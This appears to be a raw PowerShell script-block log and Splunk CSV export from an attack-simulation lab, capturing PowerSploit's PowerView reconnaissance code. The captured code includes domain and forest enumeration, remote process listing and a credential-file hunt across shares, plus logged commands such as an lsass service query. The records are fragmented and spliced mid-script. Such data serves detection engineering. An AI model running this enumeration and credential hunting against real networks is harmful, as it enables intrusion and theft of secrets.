}
$DNSSearcher.dispose()
}
}
}
function Get-Domain {
<#
.SYNOPSIS
Returns the domain object for the current (or specified) domain.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current
domain or the domain specified with -Domain X.
.PARAMETER Domain
Specifies the domain name to query for, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-Domain -Domain testlab.local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-Domain -Credential $Cred
.OUTPUTS
System.DirectoryServices.ActiveDirectory.Domain
A complex .NET domain object.
.LINK
http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
#>
[OutputType([System.DirectoryServices.ActiveDirectory.Domain])]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
if ($PSBoundParameters['Credential']) {
Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain'
if ($PSBoundParameters['Domain']) {
$TargetDomain = $Domain
}
else {
# if no domain is supplied, extract the logon domain from the PSCredential passed
$TargetDomain = $Credential.GetNetworkCredential().Domain
Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential"
}
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password)
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch {
Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
}
}
elseif ($PSBoundParameters['Domain']) {
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch {
Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_"
}
}
else {
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
catch {
Write-Verbose "[Get-Domain] Error retrieving the current domain: $_"
}
}
}
}
function Get-DomainController {
<#
.SYNOPSIS
Return the domain controllers for the current (or specified) domain.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Get-Domain
.DESCRIPTION
Enumerates the domain controllers for the current or specified domain.
By default built in .NET methods are used. The -LDAP switch uses Get-DomainComputer
to search for domain controllers.
.PARAMETER Domain
The domain to query for domain controllers, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER LDAP
Switch. Use LDAP queries to determine the domain controllers instead of built in .NET methods.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainController -Domain 'test.local'
Determine the domain controllers for 'test.local'.
.EXAMPLE
Get-DomainController -Domain 'test.local' -LDAP
Determine the domain controllers for 'test.local' using LDAP queries.
.EXAMPLE
'test.local' | Get-DomainController
Determine the domain controllers for 'test.local'.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainController -Credential $Cred
.OUTPUTS
PowerView.Computer
Outputs custom PSObjects with details about the enumerated domain controller if -LDAP is specified.
System.DirectoryServices.ActiveDirectory.DomainController
If -LDAP isn't specified.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.Computer')]
[OutputType('System.DirectoryServices.ActiveDirectory.DomainController')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Switch]
$LDAP,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Domain']) { $Arguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
if ($PSBoundParameters['LDAP'] -or $PSBoundParameters['Server']) {
if ($PSBoundParameters['Server']) { $Arguments['Server'] = $Server }
# UAC specification for domain controllers
$Arguments['LDAPFilter'] = '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
Get-DomainComputer @Arguments
}
else {
$FoundDomain = Get-Domain @Arguments
if ($FoundDomain) {
$FoundDomain.DomainControllers
}
}
}
}
function Get-Forest {
<#
.SYNOPSIS
Returns the forest object for the current (or specified) forest.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: ConvertTo-SID
.DESCRIPTION
Returns a System.DirectoryServices.ActiveDirectory.Forest object for the current
forest or the forest specified with -Forest X.
.PARAMETER Forest
The forest name to query for, defaults to the current forest.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target forest.
.EXAMPLE
Get-Forest -Forest external.domain
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-Forest -Credential $Cred
.OUTPUTS
System.Management.Automation.PSCustomObject
Outputs a PSObject containing System.DirectoryServices.ActiveDirectory.Forest in addition
to the forest root domain SID.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
if ($PSBoundParameters['Credential']) {
Write-Verbose "[Get-Forest] Using alternate credentials for Get-Forest"
if ($PSBoundParameters['Forest']) {
$TargetForest = $Forest
}
else {
# if no domain is supplied, extract the logon domain from the PSCredential passed
$TargetForest = $Credential.GetNetworkCredential().Domain
Write-Verbose "[Get-Forest] Extracted domain 'e66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1
4104152150x0122566Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'Recon.psm1'
# Version number of this module.
ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module
GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'
# Author of this module
Author = 'Matthew Graeber', 'Will Schroeder'
# Copyright statement for this module
Copyright = 'BSD 3-Clause'
# Description of the functionality provided by this module
Description = 'PowerSploit Reconnaissance Module'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0'
# Functions to export from this module
FunctionsToExport = @(
'Export-PowerViewCSV',
'Resolve-IPAddress',
'ConvertTo-SID',
'ConvertFrom-SID',
'Convert-ADName',
'ConvertFrom-UACValue',
'Add-RemoteConnection',
'Remove-RemoteConnection',
'Invoke-UserImpersonation',
'Invoke-RevertToSelf',
'Get-DomainSPNTicket',
'Invoke-Kerberoast',
'Get-PathAcl',
'Get-DomainDNSZone',
'Get-DomainDNSRecord',
'Get-Domain',
'Get-DomainController',
'Get-Forest',
'Get-ForestDomain',
'Get-ForestGlobalCatalog',
'Find-DomainObjectPropertyOutlier',
'Get-DomainUser',
'New-DomainUser',
'Set-DomainUserPassword',
'Get-DomainUserEvent',
'Get-DomainComputer',
'Get-DomainObject',
'Set-DomainObject',
'Set-DomainObjectOwner',
'Get-DomainObjectAcl',
'Add-DomainObjectAcl',
'Find-InterestingDomainAcl',
'Get-DomainOU',
'Get-DomainSite',
'Get-DomainSubnet',
'Get-DomainSID',
'Get-DomainGroup',
'New-DomainGroup',
'Get-DomainManagedSecurityGroup',
'Get-DomainGroupMember',
'Add-DomainGroupMember',
'Get-DomainFileServer',
'Get-DomainDFSShare',
'Get-DomainGPO',
'Get-DomainGPOLocalGroup',
'Get-DomainGPOUserLocalGroupMapping',
'Get-DomainGPOComputerLocalGroupMapping',
'Get-DomainPolicy',
'Get-NetLocalGroup',
'Get-NetLocalGroupMember',
'Get-NetShare',
'Get-NetLoggedon',
'Get-NetSession',
'Get-RegLoggedOn',
'Get-NetRDPSession',
'Test-AdminAccess',
'Get-NetComputerSiteName',
'Get-WMIRegProxy',
'Get-WMIRegLastLoggedOn',
'Get-WMIRegCachedRDPConnection',
'Get-WMIRegMountedDrive',
'Get-WMIProcess',
'Find-InterestingFile',
'Find-DomainUserLocation',
'Find-DomainProcess',
'Find-DomainUserEvent',
'Find-DomainShare',
'Find-InterestingDomainShareFile',
'Find-LocalAdminAccess',
'Find-DomainLocalGroupMember',
'Get-DomainTrust',
'Get-ForestTrust',
'Get-DomainForeignUser',
'Get-DomainForeignGroupMember',
'Get-DomainTrustMapping',
'Get-ComputerDetail',
'Get-HttpStatus',
'Invoke-Portscan',
'Invoke-ReverseDnsLookup'
)
# List of all files packaged with this module
FileList = 'Recon.psm1', 'Recon.psd1', 'PowerView.ps1', 'Get-HttpStatus.ps1', 'Invoke-ReverseDnsLookup.ps1',
'Invoke-Portscan.ps1', 'Get-ComputerDetails.ps1', 'README.md'
}
73bfa47f-42ed-440d-8112-993f46743f7fC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\Recon.psd1
4104152150x0123833Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11Invoke-Command -ComputerName bobscomputer -ScriptBlock { dir c:\ }a17c9004-374c-4202-9684-677885d273bd
4104152150x0123870Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11Get-ADUserResultantPasswordPolicy577d4ec9-e23b-4275-80f3-87c5db0a6863
4104152150x0123898Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11Get-AdComputer58aa01a8-ad08-4889-b4ce-c5df56847e9b
ActivityID,CallTrace,CategoryString,Channel,ClientInfo,CommandLine,Company,Computer,Consumer,CurrentDirectory,Description,Destination,"Error_Code",EventChannel,EventCode,"EventData_Xml",EventDescription,EventID,EventRecordID,EventType,FileVersion,Filter,GrantedAccess,Guid,Hashes,Image,ImageLoaded,"Image_File_Name",IntegrityLevel,Keywords,Level,LogonGuid,LogonId,MD5,MessageNumber,MessageTotal,Name,Opcode,OriginalFileName,ParentCommandLine,ParentImage,ParentProcessGuid,ParentProcessId,ParentUser,Path,PipeName,ProcessGuid,ProcessID,ProcessId,Product,Qualifiers,QueryResults,RecordID,RecordNumber,"RenderingInfo_Xml",RuleName,SHA256,ScriptBlockId,ScriptBlockText,SecurityID,Signature,SignatureStatus,Signed,SourceImage,SourceProcessGUID,SourceProcessId,SourceThreadId,SourceUser,SubStatus,SystemTime,"System_Props_Xml",TargetImage,TargetProcessGUID,TargetProcessId,TargetUser,Task,TerminalSessionId,ThreadID,TimeCreated,User,UserID,UtcTime,Version,"_raw","_time",action,"answer_count",app,category,"change_type","creation_time",description,dest,"dest_host","dest_ip","dest_port",direction,dvc,"dvc_ip","dvc_nt_host","event_id",eventtype,"file_access_time","file_create_time","file_hash","file_modify_time","file_name","file_path","granted_access",host,"http_referrer","http_referrer_domain",id,index,linecount,meta,name,object,"object_attrs","object_category","object_path","original_file_name",os,"parent_process","parent_process_exec","parent_process_guid","parent_process_id","parent_process_name","parent_process_path","pipe_name",process,"process_current_directory","process_exec","process_guid","process_hash","process_id","process_integrity_level","process_name","process_path",protocol,"protocol_version",punct,query,"query_count","registry_hive","registry_key_name","registry_path","registry_value_data","registry_value_name","registry_value_type","reply_code_id",result,rule,service,"service_dll_signature_exists","service_dll_signature_verified","service_id","service_name","service_signature_exists","service_signature_verified","severity_id",signature,"signature_id",source,sourcetype,"splunk_server","splunk_server_group",src,"src_address","src_function","src_host","src_ip","src_module","src_port",state,status,subject,tag,"tag::action","tag::app","tag::eventtype","tag::object_category",timestamp,transport,"transport_dest_port","uri_path",url,"url_domain","url_length",user,"user_group_id","user_id","user_name","vendor_product"
"'{7B7F4240-5E23-0005-0069-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"11Get-WmiObject Win32_Service -filter ""name='lsass'
""f98ad780-fe95-45ee-af64-2bb50a650b41",,4104,123928,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,5,,,,1,1,"'Microsoft-Windows-PowerShell'",15,,,,,,,,,,"'5388'",,,,,,123928,,,,"f98ad780-fe95-45ee-af64-2bb50a650b41","Get-WmiObject Win32_Service -filter ""name='lsass'
""",,,,,,,,,,,"'2022-05-02T18:45:27.493218800Z'","4104152150x0123928Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104152150x0123928Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11Get-WmiObject Win32_Service -filter ""name='lsass'
""f98ad780-fe95-45ee-af64-2bb50a650b41","2022-05-02T18:45:27.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",123928,"endpoint_services_processes windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,123928,win,2,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><>><>><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"track_event_signatures",,,"track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows"
"'{7B7F4240-5E23-0005-5666-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"3444ame) { $UserName = '' }
if ($RemotePath -and ($RemotePath -ne '')) {
$MountedDrive = New-Object PSObject
$MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer
$MountedDrive | Add-Member Noteproperty 'UserName' $UserName
$MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID
$MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter
$MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName
$MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath
$MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName
$MountedDrive.PSObject.TypeNames.Insert(0, 'PowerView.RegMountedDrive')
$MountedDrive
}
}
}
catch {
Write-Verbose ""[Get-WMIRegMountedDrive] Error: $_""
}
}
}
catch {
Write-Warning ""[Get-WMIRegMountedDrive] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_""
}
}
}
}
function Get-WMIProcess {
<#
.SYNOPSIS
Returns a list of processes and their owners on the local or remote machine.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Uses Get-WMIObject to enumerate all Win32_process instances on the local or remote machine,
including the owners of the particular process.
.PARAMETER ComputerName
Specifies the hostname to query for cached RDP connections (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
.EXAMPLE
Get-WMIProcess -ComputerName WINDOWS1
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-WMIProcess -ComputerName PRIMARY.testlab.local -Credential $Cred
.OUTPUTS
PowerView.UserProcess
A PSCustomObject containing the remote process information.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.UserProcess')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
ForEach ($Computer in $ComputerName) {
try {
$WmiArguments = @{
'ComputerName' = $ComputerName
'Class' = 'Win32_process'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
Get-WMIobject @WmiArguments | ForEach-Object {
$Owner = $_.getowner();
$Process = New-Object PSObject
$Process | Add-Member Noteproperty 'ComputerName' $Computer
$Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName
$Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID
$Process | Add-Member Noteproperty 'Domain' $Owner.Domain
$Process | Add-Member Noteproperty 'User' $Owner.User
$Process.PSObject.TypeNames.Insert(0, 'PowerView.UserProcess')
$Process
}
}
catch {
Write-Verbose ""[Get-WMIProcess] Error enumerating remote processes on '$Computer', access likely denied: $_""
}
}
}
}
function Find-InterestingFile {
<#
.SYNOPSIS
Searches for files on the given path that match a series of specified criteria.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection
.DESCRIPTION
This function recursively searches a given UNC path for files with
specific keywords in the name (default of pass, sensitive, secret, admin,
login and unattend*.xml). By default, hidden files/folders are included
in search results. If -Credential is passed, Add-RemoteConnection/Remove-RemoteConnection
is used to temporarily map the remote share.
.PARAMETER Path
UNC/local path to recursively search.
.PARAMETER Include
Only return files/folders that match the specified array of strings,
i.e. @(*.doc*, *.xls*, *.ppt*)
.PARAMETER LastAccessTime
Only return files with a LastAccessTime greater than this date value.
.PARAMETER LastWriteTime
Only return files with a LastWriteTime greater than this date value.
.PARAMETER CreationTime
Only return files with a CreationTime greater than this date value.
.PARAMETER OfficeDocs
Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)
.PARAMETER FreshEXEs
Switch. Find .EXEs accessed within the last 7 days.
.PARAMETER ExcludeFolders
Switch. Exclude folders from the search results.
.PARAMETER ExcludeHidden
Switch. Exclude hidden files and folders from the search results.
.PARAMETER CheckWriteAccess
Switch. Only returns files the current user has write access to.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
to connect to remote systems for file enumeration.
.EXAMPLE
Find-InterestingFile -Path ""C:\Backup\""
Returns any files on the local path C:\Backup\ that have the default
search term set in the title.
.EXAMPLE
Find-InterestingFile -Path ""\\WINDOWS7\Users\"" -LastAccessTime (Get-Date).AddDays(-7)
Returns any files on the remote path \\WINDOWS7\Users\ that have the default
search term set in the title and were accessed within the last week.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-InterestingFile -Credential $Cred -Path ""\\PRIMARY.testlab.local\C$\Temp\""
.OUTPUTS
PowerView.FoundFile
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.FoundFile')]
[CmdletBinding(DefaultParameterSetName = 'FileSpecification')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[String[]]
$Path = '.\',
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[Alias('SearchTerms', 'Terms')]
[String[]]
$Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'),
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$LastAccessTime,
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$LastWriteTime,
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$CreationTime,
[Parameter(ParameterSetName = 'OfficeDocs')]
[Switch]
$OfficeDocs,
[Parameter(ParameterSetName = 'FreshEXEs')]
[Switch]
$FreshEXEs,
[Parameter(ParameterSetName = 'FileSpecification')]
[Switch]
$ExcludeFolders,
[Parameter(ParameterSetName = 'FileSpecification')]
[Switch]
$ExcludeHidden,
[Switch]
$CheckWriteAccess,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{
'Recurse' = $True
'ErrorAction' = 'SilentlyContinue'
'Include' = $Include
}
if ($PSBoundParameters['OfficeDocs']) {
$SearcherArguments['Include'] = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx')
}
elseif ($PSBoundParameters['FreshEXEs']) {
# find .exe's accessed within the last 7 days
$LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy')
$SearcherArguments['Include'] = @('*.exe')
}
$SearcherArguments['Force'] = -not $PSBoundParameters['ExcludeHidden']
$MappedComputers = @{}
function Test-Write {
# short helper to check is the current user can write to a file
[CmdletBinding()]Param([String]$Path)
try {
$Filetest = [IO.File]::OpenWrite($Path)
$Filetest.Close()
$True
}
catch {
$False
}
}
}
PROCESS {
ForEach ($TargetPath in $Path) {
if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$HostComputer = (New-Object System.Uri($TargetPath)).Host
if (-not $MappedComputers[$HostComputer]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
$MappedComputers[$HostComputer] = $True
}
}
$SearcherArguments['Path'] = $TargetPath
Get-ChildItem @SearcherArguments | ForEach-Object {
# check if we're excluding folders
$Continue = $True
if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) {
Write-Verbose ""Excluding: $($_.FullName)""
$Continue = $False
}
if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) {
$Continue = $False
}
if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt $LastWriteTime)) {
$Continue = $False
}
if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt $CreationTime)) {
$Continue = $False
}
if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -Path $_.FullName))) {
$Continue = $False
}
if ($Continue) {
$FileParams = @{
'Path' = $_.FullName
'Owner' = $((Get-Acl $_.FullName).Owner)
'LastAccessTime' = $_.LastAccessTime
'LastWriteTime' = $_.LastWriteTime
'CreationTime' = $_.CreationTime
'Length' = $_.Length
}
$FoundFile = New-Object -TypeName PSObject -Property $FileParams
$FoundFile.PSObject.TypeNames.Insert(0, 'PowerView.FoundFile')
$FoundFile
}
}
}
}
END {
# remove the IPC$ mappings
$MappedComputers.Keys | Remove-RemoteConnection
}
}
########################################################
#
# 'Meta'-functions start below
#
########################################################
function New-ThreadedFunction {
# Helper used by any threaded host enumeration functions
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[String[]]
$ComputerName,
[Parameter(Position = 1, Mandatory = $True)]
[System.Management.Automation.ScriptBlock]
$ScriptBlock,
[Parameter(Position = 2)]
[Hashtable]
$ScriptParameters,
[Int]
[ValidateRange(1, 100)]
$Threads = 20,
[Switch]
$NoImports
)
BEGIN {
# Adapted from:
# http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/
$SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
# # $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()
# force a single-threaded apartment state (for token-impersonation stuffz)
$SessionState.ApartmentState = [System.Threading.ApartmentState]::STA
# import the current session state's variables and functions so the chained PowerView
# functionality can be used by the threaded blocks
if (-not $NoImports) {
# grab all the current variables for this runspace
$MyVars = Get-Variable -Scope 2
# these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice
$VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true')
# add Variables from Parent Scope (current runspace) into the InitialSessionState
ForEach ($Var in $MyVars) {
if ($VorbiddenVars -NotContains $Var.Name) {
$SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes))
}
}
# add Functions from current runspace to the InitialSessionState
ForEach ($Function in (Get-ChildItem Function:)) {
$SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition))
}
}
# threading adapted from
# https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407
# Thanks Carlos!
# create a pool of maxThread runspaces
$Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host)
$Pool.Open()
# do some trickery to get the proper BeginInvoke() method that allows for an output queue
$Method = $Null
ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) {
$MethodParameters = $M.GetParameters()
if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') {
$Method = $M.MakeGenericMethod([Object], [Object])
break
}
}
$Jobs = @()
$ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()}
Write-Verbose ""[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)""
# partition all hosts from -ComputerName into $Threads number of groups
if ($Threads -ge $ComputerName.Length) {
$Threads = $ComputerName.Length
}
$ElementSplitSize = [Int]($ComputerName.Length/$Threads)
$ComputerNamePartitioned = @()
$Start = 0
$End = $ElementSplitSize
for($i = 1; $i -le $Threads; $i++) {
$List = New-Object System.Collections.ArrayList
if ($i -eq $Threads) {
$End = $ComputerName.Length
}
$List.AddRange($ComputerName[$Start..($End-1)])
$Start += $ElementSplitSize
$End += $ElementSplitSize
$ComputerNamePartitioned += @(,@($List.ToArray()))
}
Write-Verbose ""[New-ThreadedFunction] Total number of threads/partitions: $Threads""
ForEach ($ComputerNamePartition in $ComputerNamePartitioned) {
# create a ""powershell pipeline runner""
$PowerShell = [PowerShell]::Create()
$PowerShell.runspacepool = $Pool
# add the script block + arguments with the given computer partition
$Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition)
if ($ScriptParameters) {
ForEach ($Param in $ScriptParameters.GetEnumerator()) {
$Null = $PowerShell.AddParameter($Param.Name, $Param.Value)
}
}
# create the output queue
$Output = New-Object Management.Automation.PSDataCollection[Object]
# kick off execution using the BeginInvok() method that allows queues
$Jobs += @{
PS = $PowerShell
Output = $Output
Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output))
}
}
}
END {
Write-Verbose ""[New-ThreadedFunction] Threads executing""
# continuously loop through each job queue, consuming output as appropriate
Do {
ForEach ($Job in $Jobs) {
$Job.Oute66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1",,4104,122635,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,3,,,,34,44,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1",,,"'5388'",,,,,,122635,,,,"e66f2c62-841c-43ba-a30f-4c6c2ffc9ead","ame) { $UserName = '' }
if ($RemotePath -and ($RemotePath -ne '')) {
$MountedDrive = New-Object PSObject
$MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer
$MountedDrive | Add-Member Noteproperty 'UserName' $UserName
$MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID
$MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter
$MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName
$MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath
$MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName
$MountedDrive.PSObject.TypeNames.Insert(0, 'PowerView.RegMountedDrive')
$MountedDrive
}
}
}
catch {
Write-Verbose ""[Get-WMIRegMountedDrive] Error: $_""
}
}
}
catch {
Write-Warning ""[Get-WMIRegMountedDrive] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_""
}
}
}
}
function Get-WMIProcess {
<#
.SYNOPSIS
Returns a list of processes and their owners on the local or remote machine.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Uses Get-WMIObject to enumerate all Win32_process instances on the local or remote machine,
